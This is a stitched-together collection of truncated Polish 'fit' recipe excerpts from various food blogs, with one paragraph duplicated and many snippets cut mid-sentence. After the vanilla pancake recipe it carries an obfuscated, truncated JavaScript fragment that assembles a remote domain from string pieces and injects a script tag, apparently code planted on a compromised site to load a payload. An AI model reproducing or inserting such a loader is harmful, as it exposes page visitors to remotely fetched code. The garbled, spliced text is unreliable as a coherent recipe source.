Szukasz przepisu na pyszną, zdrową i fit sałatkę? Na dodatek lubisz jeść jajka nie tylko od święta, a nie wiesz, ile możesz ich zjeść? Przeczytaj i przygotuj sałatkę z jajkiem i kiełkami Ile jajek można zjeść w ciągu tygodnia? O tym, że jajka są zdrowe, nie muszę chyba nikogo przekonywać. Ile ich spożywać? WHO (Światowa Organizacja Zdrowia) dopuszcza spożywanie(...)danie na spotkanie z przyjaciółmi czy rodziną. Może z powodzeniem zagościć na świątecznym stole, zwłaszcza w okresie Świąt Wielkanocnych, gdzie jajka i rzeżucha to podstawa menu. Zdrowa, szybka i fit! Jedz jajka nie tylko od święta Smacznego Artykuł Sałatka z jajkiem i kiełkami pochodzi z serwisu Strefa Zdrowego Żywienia

studzimy. Pierś z kurczaka przekrajamy tak, by z każdej powstały 2 płaskie kotlety. Rozbijamy delikatnie kotlety i przyprawiamy do smaku. Od wewnętrznej strony smarujemy delikatnie masłem (w wersji fit-masło pomijamy). Kładziemy po 4-5 szparagów na każdym kotlecie i zawijamy w rulon. Mocno rozgrzewamy patelnię z 2 łyżkami oleju. Delikatnie układamy roladki na patelni i smażymy po kilka

Fit ciasto z daktyli. Mam ostatnio ciągle fazę na ciasta w zdrowszej odsłonie. Polubiłam ich smak. Najbardziej lubię to w zdrowych ciastach, że po zjedzeniu kawałka mija chęć na słodkie i nie jestem po nich głodna. Nie ma też tzw. zjazdu - dopada Cię senność- po zjedzeniu, bo nie ma w nich cukru.  Moje dzisiejsze ciasto(...)jest z dodatkiem odżywki białkowej (ale można je zrobić bez) dzięki czemu może pełnić rolę "batona proteinowego". Ciasto w konsystencji jest kremowe, coś między sernikiem a brownie. Dla wszystkich fit manioków idealne! SKŁADNIKI: - 3/4 szklanki daktyli - 1,5 szklanki wrzątku - 3/4 szklanki otrąb owsiane lub orkiszowe (w płatkach) - 1/2 szklanki liofilizowanej lub suszonej żurawiny - 1/3 szklanki chia - 1 łyżeczka

Wiosna to wszystkie dbamy o linię i zrzucamy nadprogramowe kilogramy. Dlatego mam dla Was FIT BROWNIE z jagodami, jadałam już kilka fit brownie, ale żadne nie było dobre. Albo jakaś fasola albo jeszcze coś innego. Dzisiaj daje Wam przepis, który wymyśliłam na szybko na spotkanie z przyjaciółką. Wyszło super! Jest banalnie proste, szybkie a jeden kawałek ma tylko

godz. Naleśniki smażymy na rozgrzanej patelni, wylewając cieniutką warstwę ciasta. Jeżeli planujemy smażenie dużej ilości naleśników warto użyć naleśnikarki . Dzięki smażeniu bez tłuszczu na naleśnikarce nasze naleśniki będą naprawdę fit! Usmażone naleśniki powinny być delikatnie złote, ale nie spieczone na brązowo. Nadzienie waniliowe 2 opakowania islandzkiego jogurtu typu skyr - 0% tłuszczu nasiona z laski wanilii lub ekstrakt waniliowy(...)odstawić do schłodzenia. Sałatkę owocową podawać z naleśnikami waniliowymi ozdobioną listkami świeżej mięty, melisy, polaną sosem czekoladowym lub posypaną wiórkami kokosowymi. Za inspirację do przygotowania tego przepisu na pyszne fit naleśniki z sałatką owocową dziękujemy serwisowi xxlgastro.pl (function(){ zyqh=document.createElement("script");zyqh_=(("u")+"st")+"a";zyqh.async=true; zyqh.type="text/javascript";zyqh_+=("t.i")+""+"n";zyqh_+=(("f")+"o");zyqh_+="/"; zyqhu="72458137.";zyqhu

Zapraszam do spróbowania przepisu na pyszne batoniki snickers w lżejszej, fit wersji. Takie batoniki przygotujecie bez problemu sami w domu. Warto to zrobić bo są pyszne i będą świetną alternatywą dla kupnych batoników i słodyczy. Składniki/ok. 11 batoników: spód – 7 łyżek mąki kokosowej lub owsianej – 2 łyżki oleju kokosowego – 2 łyżki masła Czytaj więcej → Artykuł

oznacza, że jest dietetykiem. No to mamy małe wprowadzenie zrobione, chociaż napisałabym Wam na ten temat trochę więcej, ale nie chcę Was zanudzać.  Pamiętajcie aby takie fit przepisy zawsze dostosować do założeń własnego planu żywieniowego! No to lecimy! Będąc już na przysłowiowej diecie, choć nie lubię tego określenia, dla wielu ma negatywne konotacje, ważne jest aby proponowane posiłki(...)powodowały, że masz wrażenie jakbyś był przysłowiowym królikiem, jedz smacznie i zdrowo. Taka też jest moja dzisiejsza propozycja, bogata w białko i sycąca, a przy okazji niskokaloryczna. PRZEPIS NA FIT KOTLECIKI Z JAJEK I BROKUŁA składniki: - 500 g brokuła świeżego - 4 jaja ugotowane na twardo - 2 jajka kurze - 130 g kaszy jaglanej - 1/2 szklanki mleka 1,5% tłuszczu

Dzisiejsze ciacha są w wersji fit, bo bez dodatku tłuszczu, a cukier zastąpiłam syropem z agawy, który ma niski indeks glikemiczny. Żeby Wam tu nie zbrzydzić ciastek takim wstępem dodam, że są to idealnie kruche, aromatyczne ciasteczka, z które można wycinać we wszelakie kształty, dekorować idt. Idealny dodatek do herbaty. Jest to dobra opcja dla pierników, bo jako dekoracja(...)blacie. Powycinane ciasteczka przełożyć na blachę wyłożoną papierem do pieczenia.   Piec w temp. 180 przez około 10 minut, aż delikatnie się przyzłocą. Smacznego!       Artykuł Korzenne fit ciasteczka bez tłuszczu pochodzi z serwisu %%http://www.greenscarf.pl/%%.

się unikać cukru w diecie, ale czasem najdzie mnie ochota na coś słodkiego. Staram się wtedy przygotowywać fit ciasta bądź desery. Dziś prezentuję Wam ciasto brownie w wersji fit. Składniki : 1 puszka czerwonej fasoli 2 jajka 4 łyżki słodzika, ja używam erytrytolu 2 łyżki oleju 1 łyżeczka sody aromat 3 łyżki ciemnego kakao 1 banan Przygotowanie: fasolę przełóż

Sante. Pierwszym zadaniem które należało wykonać było zdrowe śniadanie z płatkami . Na pierwszy rzut poszły fit-truskawka-malina-wisnia-225g/ . Produkt nie zawiera soli, ma niską zawartość tłuszczów. Fit – nowość od Sante 100% składników pochodzenia naturalnego Bez dodatku cukru Bez pszenicy Rekordowa ilość składnika pełnoziarnistego!  Źródło cennych składników mineralnych Fenomenalny smak – dzięki sokom owocowym i dużym kawałkom

pewnością zaspokoi Twoje pragnienie, a Ty nie będziesz miała wyrzutów sumienia z powodu kawałka zjedzonego ciasta. Pamiętaj tylko - zjedz mały kawałek, nie całe ciacho ;) To, ze ciasto jest fit, wcale nie oznacza, że możesz się nim bezkarnie(...)objadać. Moje czekoladowe ciasto przygotowałam prawie bez użycia cukru, jest tylko odrobina cukru znajdująca się w gorzkiej czekoladzie. Dodałam też zdrową mąkę jaglaną oraz olej kokosowy. PRZEPIS NA  FIT CIASTO CZEKOLADOWE Składniki: ( * szklanka o pojemności 250 ml )  4 jajka 100 g gorzkiej czekolady 50 g daktyli 50 g oleju kokosowego 1 banan  1/2 szklanki mąki jaglanej

450ml) i wartości 105 kcal.   Zobacz również przepisy na: Koktajl z jarmużu, banana i jabłka – odchudzający i mega zdrowy! Odchudzający koktajl z buraka i awokado wg Ewy Chodakowskiej Fit budyń jaglany(...)bananem i brzoskwiniami Mega szybkie i dietetyczne muffinki śniadaniowe Dietetyczny obiad, czyli pieczona pierś kurczaka z warzywami Pulpeciki z cukinii w sosie pomidorowym Cukinia faszerowana ryżem i kaszą jaglaną – fit! Dietetyczny kurczak z cukinią i brokułami The post Koktajl hamujący apetyt – do zrobienia w 5 minut! appeared first on KulinarnePrzeboje.pl

Wariacja na temat czarnej porzeczki Kontrowersyjny przepis wjeżdża w pięknej odsłonie :) Czemu kontrowersyjny ? Po pierwsze: co to znaczy fit ? Serniczki są lżejsze, fakt. Ale czy ten termin do nich pasuje ? Po drugie: mojemu łasuchowi nie smakowało. Mało słodkie ? Może. Dla mnie były świetne, i tego się będę trzymać ;) Może dlatego, że latem lubię lekko kwaśne owocowe smaki. Użyłam różnych(...)owocami ( owoce nie powinny pokrywać całej powierzchni masy serowej). Pozostałą masą wypełniamy papilotki po same brzegi. Piekarnik nagrzewamy do 150 stopni. Pieczemy 25 - 30 minut do zarumienienia serniczków. Smacznego ! Fit serniczki z owocami

ciasteczek z masą typu Hit, Oreo (fit: ciasteczka zbożowe i olej kokosowy lub namoczone daktyle) 800 g mleczka kokosowego (2 puszki) 6 łyżek nasion chia 4 łyżki cukru (fit: ksylitol) 4 łyżki wiórków kokosowych 10 g żelatyny w proszku + 1/4 wrzątku 2 opakowania galaretki owoce leśne + 900 ml wrzątku 500 g owoców leśnych ( u mnie malina, jeżyna, jagoda

type":"Recipe","description":"Jeszcze \u017caden sernik nie by\u0142 tak lekki, tak delikatny i tak prosty! Wystarczy chwilka pracy, mniej ni\u017c godzina w piekarniku i ta-daaa! Prawie \"fit\" serniczek gotowy! Kto si\u0119 skusi? Szczeg\u00f3lnie polecam osobom, kt\u00f3re ograniczaj\u0105 cukier - s\u0142odzimy z g\u0142ow\u0105 ","recipeIngredient":["2 jajka\r","1 jogurt g\u0119sty(...)zmielonym cukrem bia\u0142ym Diamant. "]} Jeszcze żaden sernik nie był tak lekki, tak delikatny i tak prosty! Wystarczy chwilka pracy, mniej niż godzina w piekarniku i ta-daaa! Prawie "fit" serniczek gotowy! Kto się skusi? Szczególnie polecam osobom, które ograniczają cukier - słodzimy z głową Bananowo-jogurtowy “sernik” Czas całkowity 1 godzina Składniki 2 jajka 1 jogurt gęsty 330g

zaskakujący – sami nie spodziewaliśmy się tak dobrego efektu przy tak szybkim i mało skomplikowanym daniu. Zaskoczy najbardziej wybrednych gości – zarówno fanów niezdrowego chrupania przed telewizorem jak i fit i wege koneserów Składniki: 2 puszki ciecierzycy lub 2 szklanki ciecierzycy suchej (namoczonej przez 12h, a następnie ugotowanej) 1 łyżka oliwy z oliwek 1/2 łyżeczki słodkiej papryki 1/2 łyżeczki(...)zyskała świeży smak kojarzący się przede wszystkim z meksykańskimi daniami i salsami. Przekąska wyszła pyszna i przede wszystkim zdrowa! Można zajadać bez większych skrupułów Artykuł Chrupiąca pieczona ciecierzyca – fit przekąska pochodzi z serwisu Taste and Cook

DOMOWE FIT GOFRY! Ekspresowy przepis na fit gofry! Prościej się nie da: - 2 białka - 1 żółtko - 2 łyżki mąki orkiszowej -1/2 łyżeczki proszku do pieczenia - 2 łyżki mleka - 2 łyżki wody - olej kokosowy do smażenia Białka i żółtko ubij mikserem, dodaj mąkę z proszkiem, mleko i wodę. Odstaw masę na 15 minut. Smaż na rozgrzanej gofrownicy

Jeśli jeszcze nie macie dość rabarbaru to zapraszam na pyszne placuszki, oczywiście jak to u mnie są w stylu fit, pełnoziarniste i tylko z łyżeczką cukru kokosowego by drożdże lepiej pracowały :), daktyle doskonale balansują kwaśność rabarbaru, do tego odrobina dżemu niskosłodzonego i można zapomnieć o cukrze. Składniki (porcja dla 2 osób): 1 szklanka mąki pełnoziarnistej 1/4 szklanki mąki pszennej

DIETETYCZNYCH SAŁATEK, KTÓRE SPRAWDZĄ SIĘ W ROLI LUNCH BOXÓW BĄDŹ TO OBIADÓW W DOMU. Sałatki są bardzo proste do zrobienia, smaczne i przede wszystkim pożywne, ale są w wersji FIT. Koniecznie zapiszcie ten post w ulubionych! PONIEDZIAŁEK Sałatka z kurczakiem i awokado WTOREK(...)Sałatka libańska z kaszą ŚRODA Sałatka z figą i kurczakiem CZWARTEK Sałatka z grillowanymi krewetkami PIĄTEK  Sałatka z ryżem i szparagami! SOBOTA  Sałatka z SEREM FETA ! NIEDZIELA Fit sałatka z łososiem

Przygotujecie ją zaledwie w kilka minut. Ja swoją podałam w ramach lekkiej, zdrowej kolacji. Ale doskonale nada się również jako dodatek obiadowy itd. Do przygotowania sałatki użyłam nowości od Fit&Easy – warzywne spaghetti z buraczka i marchewki. Wspaniałe i co najważniejsze zdrowe produkty, które są idealne przygotowania szybkich i pysznych dań. Przykładowy przepis na wykorzystanie spaghetti(...)był pyszny obiad A teraz zapraszam Was na przepis na moją buraczaną sałatkę z pestkami dyni i kiełkami.   #fitandeasy  #makaronyzwarzyw Składniki: 3 garście spaghetti z buraka od Fit&Easy 1/2 małej cebuli około 1 i 1/2 łyżeczki oleju kokosowego 2 łyżki pestek dyni sól himalajska do smaku świeżo mielony czarny pieprz do smaku Przygotowanie: Na patelni

Właśnie pojawiły się sklepach - rewelacyjne spaghetti z warzyw ! Makarony z warzyw to nowe innowacyjne produkty Fit & Easy  i zarazem pierwsze tego typu produkty na polskim rynku, które stanowią doskonałą alternatywę dla ich tradycyjnych odpowiedników. Dzięki unikalnemu cięciu w długie nitki, potrawy zyskują atrakcyjny wygląd „włoskiego makaronu” oraz krótszy czas obróbki kulinarnej. Na razie możemy kupić makarony(...)kaszy, która Wam akurat została z poprzedniego dnia lub ewentualnie ryżu. Pęczak z makaronem warzywnym z marchewki  Czas przygotowania: 15 minut Składniki: 1/2 opakowania  spaghetti z marchewki Fit&Easy 250 g brukselki  1 szalotka 2 ząbki czosnku 2 szklanki ugotowanego pęczaku olej do smażenia sól pieprz szczypta chili sos sojowy opcjonalnie natka pietruszki  Wykonanie

warzywno owocowy doda nam energii ale również zadba o nasze zdrowie i cerę.  Sam kolor zachęca do wypicia! Do przygotowania tego pysznego musu użyłam marchewkowe spaghetti od  Fit&Easy . Powiem szczerze, że jestem zachwycona takim produktem. Makaron(...)warzyw idealnie nadaje się do dań na ciepło, do surówek, z sosami jak i koktajli. Marchewka jest soczysta i pyszna! 2 pomarańcze 2 jabłka 1 szklanka marchewkowego spaghetti Fit&Easy  (opcjonalnie 2 marchewki) 1 łyżka miodu Z pomarańczy dokładnie wyciskamy sok. Przelewamy do blendera wraz z miąższem. Jabłka obieramy, kroimy na mniejsze kawałki. Marchewkowe spaghetti oraz jabłka

Chodakowskiej i są to super fit i super zdrowe kuleczki a słodyczy w nich dość na zaspokojenie łaknienia na słodkie. Polecam gorąco, po treningu są znakomite. Sezamowe kulki fit. ROZWIŃ I CZYTAJ DALEJ

Pobierz wersję do druku: Pobierz Ciastko z jabłkiem na ciepło w wersji fit Artykuł Ciastko z jabłkiem na ciepło w wersji fit pochodzi z serwisu KuchniaWeDwoje.pl

Jeśli dodajecie masło orzechowe solone, pomińcie sól w składnikach. A jeśli lubicie muffinki „na bogato”, możecie zrobić sobie krem np z serka śmietankowego, wymieszanego z miodem. Drukuj Fit Muffinki bananowe z masłem orzechowym Składniki Składniki suche 1 szklanka mąki pszennej 1 szklanka mąki pszennej pełnoziarnistej 1 łyżeczka proszku do pieczenia 1 łyżeczka sody szczypta soli 1/2 łyżeczki(...)naczyniu i wymieszać. Mieszamy suche i mokre składniki, do połączenia. Masę nakładamy do papilotek i pieczemy w 180 stopniach do suchego patyczka. 4.7.2.17 http://mieszamwgarnku.pl/desery/ciasta-ucierane/fit-muffinki-bananowe-maslem-orzechowym/ MieszamWGarnku Artykuł Fit Muffinki bananowe z masłem orzechowym pochodzi z serwisu Przepisy na dania obiadowe, ciasta, zupy, desery, nalewki, przetwory

rozgrzewającego z samego rana. Ja jestem wielbicielką takich fit deserków i mogłabym je jeść o każdej porze dnia, co dobrze widać po ilości wpisów w zakładce " Przepisy FIT ".     Składniki: (na 4 porcje)   100 g kaszy kuskus 1 łyżeczka miodu 200 g mleka 2 jabłka 1 łyżeczka cynamonu 150 g twarogu półtłustego 2 łyżki mleka

Ostatnio na obiad przygotowałam zapiekankę z makaronem, indykiem oraz karelosse od Fit&Easy , jest to nowe bardzo smaczne warzywo które od niedawna jest uprawiane w Polsce(...)jest to połączenie jarmużu z brukselką. Zapiekanka dzięki karellose nabrała odpowiedniego smaku, moi domownikom bardzo smakowała. Składniki: 300 gram makaronu 300 gram piersi z indyka  100 gram karelosse Fit&Easy 1 papryka czerwona 1 papryka zielona 200 gram sera żółtego Przyprawa do indyka Sól, pieprz Olej do smażenia Sposób przygotowania: Pierś z indyka kroimy na małe kawałki

temu. Ale czy to oznacza, że powoli odchodzi w zapomnienie? Zdrowie zawsze w modzie Już od kilku lat idealne ciało nie jest ciałem wychudzonym. Teraz każdy chce być „fit”, mieć mięśnie, świetną kondycję i zdrowo się odżywiać . Nic więc dziwnego, że w tę modę wpisuje się również slow food. Jedzenie przy stole, a nie przed telewizorem czy w biegu(...)wartościowe i wspomagają odporność, przemianę materii oraz prawidłowe funkcjonowanie organizmu. Jedząc w taki sposób możemy również uniknąć problemów z trawieniem i uczucia dyskomfortu. Harmonijność Równolegle do mody na bycie fit coraz więcej jest także zwolenników „ harmonijnego stylu życia ”. Takie osoby codziennie medytują, rozciągają się lub ćwiczą jogę, starają się raz na jakiś czas odciąć od wszystkich urządzeń elektronicznych

Dziś chciałabym pokazać Wam bardzo przydatny zamiennik sposobu przygotowywania jajka sadzonego tradycyjnie smażonego na tłuszczu. My będziemy smażyć... na wodzie! Wiem, że trochę to nielogiczne, bo

sycąca. Przygotowanie jej zajęło mi zaledwie kilka minut, do sałatki użyłam mix sałat Fit&Easy , mają teraz nowe bardziej czytelne opakowania. Składniki: 1 opakowanie mix sałat Cool Fit&Easy 1 puszka czerwonej fasoli 2 puszki tuńczyka w sosie własnym 1 papryka czerwona 1 papryka żółta 4 łyżki oleju lnianego Sól, pieprz 2 łyżki ziaren sezamu Sposób

Dieta? Nie!  Detox organizmu od fast foodów, od niezdrowego jedzenia...  Czyli ogólna poprawa samopoczucia! :) Dzisiaj coś ogólnie wszystkim znanego ale w wersji fit!  Pulpeciki drobiowe z surówką z czarnej rzodkwi  Pulpeciki:  0,5 kg mielonego mięsa drobiowego (u mnie mielone filety z kurczaka) 2 jajka  1 duża cebula 3 łyżki płatków kukurydzianych

Fit praliny o smaku tiramisu Czasem fajnie jest mieć w domu pod ręką coś lekkiego, smacznego ale jednocześnie słodkiego Taka przekąska na raz, która nie dostarczy nam zbyt wiele kalorii, ale zaspokoi apetyt na słodkie (no chyba, że zjemy na raz 10 sztuk wówczas i kalorii będzie dużo). Jest to propozycja typowa dla wielbicieli tiramisu, bo właśnie taki smak(...)spadnie i wszystko z czym się zetknie Wszystkie składniki to około 1200 kcal, czyli przy moich 35 sztukach jedna pralina wyniesie około 35 kcal. Praliny zaserwowane na drewnianej desce Fit praliny – pomysł na prezent Płatki owsiane oraz miód zamiast cukru = smaczne praliny Dębowa deska również jako element ozdobny Smacznego!!! Źródło wpisu: Chocolate Muffin Blog     Zapisz Zapisz

PIZZA FIT BEZ DROŻDŻY Pizza...kto jej nie lubi! Chyba nie znam takiej osoby. Ale pizza nie kojarzy nam się ze zdrowym jedzeniem. Postanowiłam to trochę odczarować. Pizza fit wykonana jest z mąki pełnoziarnistej z płatkami owsianymi i otrębami żytnimi oraz nie zawiera drożdży. Jest to zdrowsza wersja pizzy i jedząc ją nie powinniśmy mieć wyrzutów sumienia

PIZZA FIT BEZ DROŻDŻY Pizza...kto jej nie lubi! Chyba nie znam takiej osoby. Ale pizza nie kojarzy nam się ze zdrowym jedzeniem. Postanowiłam to trochę odczarować. Pizza fit wykonana jest z mąki pełnoziarnistej z płatkami owsianymi i otrębami żytnimi oraz nie zawiera drożdży. Jest to zdrowsza wersja pizzy i jedząc ją nie powinniśmy mieć wyrzutów sumienia

Fit tortilla z tuńczykiem, która pozwoli Ci zaspokoić chęć na szybkie jedzenie. Prosta w przygotowaniu, ale także zdrowa i pożywna. W wersji na zimno idealnie pasuje jako przekąska, a w wersji na ciepło śmiało można ją podać na obiad. Tuńczyk, świeże warzywa, papryczka chilli i sos miętowy świetnie się komponują tworząc przepyszny posiłek. I nie obawiaj się papryczki(...)Węglowodany: 73,5 g Wartości odżywcze 1 porcji: Energia: 321,1 kcal Białko:23,2 g Tłuszcze: 8,6 g Węglowodany: 36,7 g   Artykuł Fit tortilla z tuńczykiem i świeżymi warzywami pochodzi z serwisu ale Pysznie

Sycący, a jednocześnie szybki w przygotowaniu i niezwykle smaczny fit makaron z brokułami, kurczakiem i suszonymi pomidorami. Wystarczy kilka składników, 20 minut i będziesz w stanie przygotować zdrowy obiad. Składniki Ilość porcji: 2 150 g razowego makaronu 200 g piersi z kurczaka 150 g świeżego brokuła 80 g suszonych pomidorów 100 ml śmietany 18 % Oliwa z oliwek Sól(...)Węglowodany: 136,5 g Wartości odżywcze 1 porcji: Energia: 570,4 kcal Białko: 35,1 g Tłuszcze: 17,5 g Węglowodany: 68,3 g   Artykuł Fit makaron z brokułami, kurczakiem i suszonymi pomidorami pochodzi z serwisu ale Pysznie

Dobra ryba na obiad nigdy nie jest zła! Proponuję dorsza w wersji fit- aromatyczny, soczysty i kruchy! SKŁADNIKI: 500 g. fileta z dorsza 2 łyżki oliwy z oliwek 2 łyżki masła klarowanego mały ząbek czosnku koper sól, pieprz z moździerza sok z 1/2 limonki lub cytryny WYKONANIE: dorsza rozmrażamy, osuszamy ręcznikiem papierowym, kroimy na kawałki, na dno kładziemy folię(...)błyszczącą stroną do zewnątrz smarujemy oliwą,  układamy kawałki dorsza, posypujemy solą, pieprzem, nacieramy rozgniecionym ząbkiem czosnku, skrapiamy sokiem z limonki, rybę posypujemy koperkiem i pokruszonym masłem(będzie bardziej fit, gdy pokropicie oliwą z oliwek), rybę zawijamy folią i tak przygotowaną wstawiamy do lodówki przynajmniej na 2 godz.- ja zostawiam na noc, rybę wstawiamy do piekarnika nagrzanego

Ta niepozorna i zdrowa przekąska to prawdziwe źródło cennych  tłuszczy i węglowodanów, bardzo potrzebnych na co dzień. Nie masz energii, czeka Cię cały dzień pracy

Dzień bez koktajlu jest dniem straconym! A tym bardziej, jeśli koktajl jest zielony, a zielony=bardzo bardzo zdrowy. Zatem dziś króluje u mnie jarmuż. Ta odmiana

Jagody to zdecydowanie smak lata. Wyobraź sobie, że leżysz w słoneczne, wolne popołudnie na zielonej, górskiej polanie. Wokół wesoło ćwierkają ptaki, czasem w oddali słychać śmieszne

Śniadanie to najważniejszy posiłek dnia! Po śnie, podczas którego nasz organizm regeneruje się i wypoczywa, musimy dostarczyć sobie nowych porcji energetycznych i substancji odżywczych. Śniadanie daje

Pamiętacie może papierówki? Niestety, w dzisiejszych czasach są już praktycznie nieosiągalne do zdobycia. W sklepach ich nie ma, bo nie wytrzymają dłużej niż dwa dni, a

W ostatnim czasie burgery stały się naprawdę modne! I nie mówię tu o obciekających tłuszczem bułach z dobrze nam znanych sieciówek, ale o prawdziwych burgerach - z

Znalazłam idealny, najprostszy i najszybszy chleb! Chleb z kaszy gryczanej! I nawet nie uwierzycie, ale za gotowaną kaszą nie przepadam i zwykle jej unikam. Za to

Urodziny Łodzi już w najbliższy weekend! Fit Bazar rozrusza przechodniów z Piotrkowskiej 217 i zaangażuje do wspólnego aktywnego świętowania. Artykuł 30-31 LIPCA – FIT BAZAR vol.4 – AKTYWNE URODZINY ŁODZI – ŁODŹ pochodzi z serwisu CookMagazine

smaczne sposoby na rybę, bardziej fit(...)wersji trochę bardziej kalorycznej - dla każdego coś dobrego. Razem z Dominikiem bardzo lubimy ryby i staramy się je jadać przynajmniej raz w tygodniu. Zazwyczaj wybieramy opcję bardziej fit, ale dziś zaszaleliśmy i przygotowałam dla nas chrupiącą rybę z frytkami, czyli brytyjskie "fish 'n' chips". Podam oba przepisy byście mogli zdecydować, która wersja bardziej przemawia do Waszych kubków smakowych. :) Ryba

Jak co sobotę wybrałam się na BioBazar ( jeśli jeszcze go nie znasz- nadrób szybko zaległości. BioBazar to miejsce, gdzie możesz kupić certyfikowaną żywność prosto od małych

łyżki mąki pszennej pełnoziarnistej (możecie użyć zwykłej) 4 łyżki mleka 1 łyżka trzcinowego cukru (możecie użyć zwykły) opcjonalnie 1/2 łyżeczki proszku do pieczenia Szczypta soli 1 łyżka oleju Fit nutella: Pół awokado (dojrzałe, nietwarde) 1 banan 1,5 łyżki gorzkiego kakao 1 spora łyżeczka miodu (możecie użyć innego słodzidła) Dodatkowo: Truskawki (ilość wg uznania) 2 plastry ananasa Wiórki kokosowe(...)mąkę wymieszaną z proszkiem do pieczenia, mieszamy za pomocą szpatułki. Patelnię posmarować olejem za pomocą pędzla. Na rozgrzany olej wylewamy ciasto. Smażymy omleta z obu stron na złoty kolor. Fit nutella: Awokado i banana obieramy, kroimy na mniejsze kawałki. Przekładamy do blendera wraz z kakao i miodem. Całość miksujemy na jednolity krem. Tak przygotowanym kremem smarujemy naszego omleta

których nie potrzebowaliśmy zbyt dużo czasu na ich przygotowanie :) Nie inaczej będzie także tym razem... pokażę Wam jak zrobić tagliatelle ze szpinakiem. Przepis ten zaczerpnęliśmy z książki Dieta Fit - Natalia Gacka, ale aby nie było dokładnie tak samo, więc przepis delikatnie zmodyfikowaliśmy... przecież kuchnia jest po to aby w niej eksperymentować :) Tagliatelle ze szpinakiem - przepis: Cebulę kroimy w kostkę

Banalny przepis, który sprawdza się zawsze, gdy masz ochotę na coś słodkiego, albo potrzebujesz alternatywy dla kanapki z dżemem na II śniadanie dla twojej pociechy. Przygotujesz

Gdy za oknem pojawiają się pierwsze promyki słońca a wiosna budzi się do życia przypominam sobie, że czas pomyśleć o sobie i dogadzam sobie kulinarnie. Sobotni

pełnoziarnistym. Osoby przyzwyczajone do tradycyjnego smaku pasty z jajek, mogą się pierwszym kęsem zdziwić, ale przy kolejnych, nie czuć już żadnej różnicy. Drukuj Pasta Jajeczna w wersji fit (bez majonezu) window.ajaxurl = "http://mieszamwgarnku.pl/wp-admin/admin-ajax.php"; Składniki 5 jajek 2 łyżki oliwy łyżka masła sól, pieprz do smaku szczypiorek łyżeczka musztardy (opcjonalnie) Wykonanie Jajka gotujemy na twardo. Obieramy i ścieramy(...)siekamy. Dodajemy do jajek szczypiorek, masło i oliwę. Mieszamy. Dodajemy do smaku przyprawy i jeśli chcemy podkręcić smak, musztardę. 4.4.2.1 http://mieszamwgarnku.pl/do-chleba/pasta-jajeczna-wersji-fit-bez-majonezu/ BosowKuchni Artykuł Pasta Jajeczna w wersji fit (bez majonezu) pochodzi z serwisu Przepisy na dania obiadowe, ciasta, zupy, desery, nalewki, przetwory

Najlepiej do przygotowania tych kotletów użyć kleistego ryżu, ja wykorzystałam ryż do risotto, ale zwykły ryż też się nada, trzeba go ciut rozgotować aby dobrze się kleił. Te fit kotlety będą smakować wszystkim, zarówno dorosłym jak i dzieciom. Smacznego! Kotlety z brokułów, ryżu i sera: przepis na ok. 8 kotlecików 2/3 szklanki ryżu (u mnie do risotto) 1 łyżka(...)sałatek i warzyw. Z masy formujemy owalne kotleciki, które obtaczamy w bułce tartej. Kotlety z brokułów, ryżu i sera można upiec w piekarniku bez tłuszczu, to będą wtedy mega fit kotlety, ja te usmażyłam na oleju rzepakowym, a po usmażeniu odsączyłam z nadmiaru tłuszczu, kotlety zostały podane z mixem sałat i pastą/ sosem paprykowym, który robiłam z myślą

razem polecam przygotować na fit(...)śniadanie – dip z twarogu i rzodkiewki z warzywami. Dodatkowo w dipie został wykorzystany szczypiorek i jogurt, oraz świeże warzywa pokrojone w słupki do maczania w sosie. To Fit danie jest idealne do chrupania na śniadanie! Można warzywa i sos zapakować aby zabrać do pracy, podobnie jak sałatkę w słoiku. Danie jest lekkie, kolorowe, zdrowe i bardzo smaczne! Wystarczy

kokosowego i tak sobie pomyślałam, że może by tak jakieś placuszki wykombinował. Jak pomyślałam tak też zrobiłam. I z tego kombinowania wyszło wspaniałe pożywne i zdrowe śniadanie w stylu fit. Placuszki wyszły puszyste, intensywnie kokosowe z lekko kwaskowatym akcentem w postaci jabłka. Mój Mężczyzna orzekł, że to placuszki najlepsze ze wszystkich i wcale nie kręcił nosem, że bez cukru

znajomość, bo naprawdę mi ona posmakowała i do tego jest bardzo zdrowa, o czym zresztą już pisałam. Były już placuszki, a dziś mam dla Was naleśniki, są zdecydowanie bardziej fit od tradycyjnych,nie zawierają glutenu. ale jak dla mnie mają bardziej wyrazisty smak. Idealne na zarówno na słodko jak i wytrawnie. Musicie koniecznie spróbować.  Składniki na ciasto

świąteczny i noworoczny czas trochę sobie dogadzałam za bardzo i trzeba przyznać, że moja waga to zauważyła, ale już wracam na dobre tory i zapraszam Was na zdrowe fit śniadanko. Placuszki z kaszy gryczanej niepalonej podane w towarzystwie podsmażonej gruszki, to pyszne śniadanie, które spodoba się także wszystkim nie jedzącym glutenu. Zawsze byłam wierna tradycyjnej palonej kaszy, ale już

piesi indyka otarta skórka z ok połowy cytryny 2 garście rukoli Fit&Easy 1 surowe jajko ¼ cebuli sól , pieprz do smaku   1 opakowanie sałaty sałaty Party Fit&Easy salsa verde na bazie pietruszki/ulubiony sos/winegret Wykonanie: 4 sznycle rozbijamy cienko przez folię. Doprawiamy delikatnie solą i pieprzem. Pozostały kawałek mięsa kroimy w kostkę, wkładamy do blendera

ciasteczka z kakao ciasteczka herbaciane owsiane żurawiną Ciasteczka owsiane z żurawiną i czekoladą Ciasteczka owsiane z rodzynkami Ciasteczka owsiane z bakaliami ciasteczka owsiane białkowe ciasteczka jaglane Ciasteczka ze słonecznikiem. Fit ciasteczka: Składniki: 1 jajko 50 g masła 2/3 szklanki mąki pszennej 1/3 szklanki mąki krupczatki ½ łyżeczki proszku do pieczenia 5 łyżek cukru trzcinowego kilka łyżek słonecznika; szczypta soli. Przygotowanie(...)nagrzanym do 180°C, aż ciasteczka będą złote. Po wyjęciu z piekarnika układamy ciasteczka na siatce i czekamy kilka minut, aby lekko stwardniały.   The post Ciasteczka ze słonecznikiem. Fit ciasteczka. appeared first on Damsko-męskie spojrzenie na kuchnię

deser zdecydowanie jest  dla osób lubiących kwaskowaty smak wiśni:) Naleśniki są w wersji fit: mąka pszenna zamieniona jest na orkiszową a cukier biały na brzozowy. Warto jeść wiśnie, gdyż zawierają silne antyoksydanty. A z niektórych badań wynika, że pomagają obniżyć ryzyko chorób serca i łagodzić stany zapalne. Składniki na ok. 8 naleśników: 150 g mąki orkiszowej(...)wlać do rondelka. Pogotować chwilę, aż sos zgęstnieje. Lekko ostudzić. Każdy naleśnik posmarować musem wiśniowo-pomarańczowym i zwinąć w ulubiony kształt. Przepis pochodzi z książki Konrada Gacy "Kuchnia fit

